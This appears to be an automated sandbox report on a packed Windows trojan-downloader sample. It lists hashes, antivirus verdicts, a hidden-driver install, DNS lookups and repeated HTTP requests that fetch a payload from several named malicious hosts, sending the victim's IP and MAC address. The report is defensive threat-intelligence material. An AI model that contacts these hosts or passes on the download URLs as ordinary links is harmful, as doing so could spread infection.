Analysis Date2015-10-16 05:03:17
MD538291a2815c838764f672304e2a36700
SHA1cd7af2a9f598035e5b3adb26cd8adcae61639e89

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 40485739f82a7c0d53d1ccd09ae60cd9 sha1: f39438415d31482572dd0a4ffdfd8b3a43965a9e size: 54272
Section.rdata md5: c735787b024eb6ff392bf908325ad03a sha1: b220aa08252deb1c0235de1323bf3a680e504482 size: 5632
Section.data md5: 89ce9ca434158f88707b79300805760f sha1: a3d98062b20b15a33d00beea6f7f9c334777e499 size: 7168
Section.rsrc md5: 1d1fd839736eb68edad260dec19ab4bd sha1: 68c9f081dd8977156dde717685c9334a258047a2 size: 4608
Section.aspack md5: e1242e8f1b95f28f76d433138faeb005 sha1: 704b59118fe596a398895581c75b58c1fa830c48 size: 5632
Section.adata md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
Timestamp2014-06-05 09:00:09
VersionLegalCopyright:
InternalName:
FileVersion: 1, 0, 4, 605
CompanyName:
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 1, 0, 4, 605
FileDescription:
OriginalFilename:
PackerASPack v2.1
PEhasha84c57406a18c047b652d140c6fc18db4586a63a
IMPhash630cdc76dbc7cd9316002760fb0c5080
AVCA (E-Trust Ino)no_virus
AVF-SecureGen:Variant.Symmi.8368
AVDr. WebTrojan.Carberp.1478
AVClamAVWin.Trojan.Agent-748609
AVArcabit (arcavir)Gen:Variant.Symmi.8368
AVBullGuardGen:Variant.Symmi.8368
AVPadvishno_virus
AVVirusBlokAda (vba32)Trojan.Rofin
AVCAT (quickheal)Trojan.Rofin.A.mue
AVTrend Microno_virus
AVKasperskyTrojan.Win32.Generic:Trojan.Win32.Rofin.b:Trojan.Win32.Rofin.a
AVZillya!Trojan.Invader.Win32.2
AVEmsisoftGen:Variant.Symmi.8368
AVIkarusTrojan-Downloader.Win32.Agent
AVFrisk (f-prot)no_virus
AVAuthentiumW32/A-9e05a232!Eldorado
AVMalwareBytesno_virus
AVMicroWorld (escan)Gen:Variant.Symmi.8368
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVK7Trojan-Downloader ( 0045187a1 )
AVBitDefenderGen:Variant.Symmi.8368
AVFortinetW32/Injector.JQR!tr
AVSymantecTrojan.Gen
AVGrisoft (avg)Generic36.AUZM.dropper
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVAd-AwareGen:Variant.Symmi.8368
AVTwisterTrojan.60E803000000E9EB0.mg
AVAvira (antivir)TR/Agent.8252
AVMcafeeRDN/Generic.dx!ds3
AVRisingno_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ Pid 808

Process
↳ Pid 856

Process
↳ C:\WINDOWS\System32\svchost.exe

Process
↳ Pid 1124

Process
↳ Pid 1212

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00
Creates FileWMIDataDevice

Process
↳ Pid 1868

Process
↳ Pid 1164

Process
↳ C:\WINDOWS\Explorer.EXE

RegistryHKEY_CURRENT_USER\SessionInformation\ProgramCount ➝
NULL

Network Details:

DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.2
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.5
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.236.6
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.20
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.21
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.231.22
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.3
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.234.4
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.235.3
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1031 ➝ 8.37.235.3:80
Flows TCP192.168.1.1:1032 ➝ 8.37.234.4:80
Flows TCP192.168.1.1:1033 ➝ 8.37.234.4:80
Flows TCP192.168.1.1:1034 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1035 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1036 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1039 ➝ 8.37.231.22:80
Flows TCP192.168.1.1:1040 ➝ 8.37.236.6:80
Flows TCP192.168.1.1:1041 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1042 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1045 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1046 ➝ 8.37.231.22:80
Flows TCP192.168.1.1:1047 ➝ 8.37.236.6:80
Flows TCP192.168.1.1:1048 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1053 ➝ 8.37.236.5:80
Flows TCP192.168.1.1:1054 ➝ 8.37.236.2:80
Flows TCP192.168.1.1:1055 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1056 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1060 ➝ 8.37.236.5:80
Flows TCP192.168.1.1:1061 ➝ 8.37.236.2:80
Flows TCP192.168.1.1:1062 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1063 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1064 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1065 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1066 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1067 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1068 ➝ 8.37.235.5:80
Flows TCP192.168.1.1:1069 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1070 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1071 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1072 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1073 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1074 ➝ 8.37.235.6:80
Flows TCP192.168.1.1:1075 ➝ 8.37.235.5:80
Flows TCP192.168.1.1:1076 ➝ 8.37.234.3:80
Flows TCP192.168.1.1:1077 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1078 ➝ 116.255.243.151:80

Raw Pcap
0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a                                  ..

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
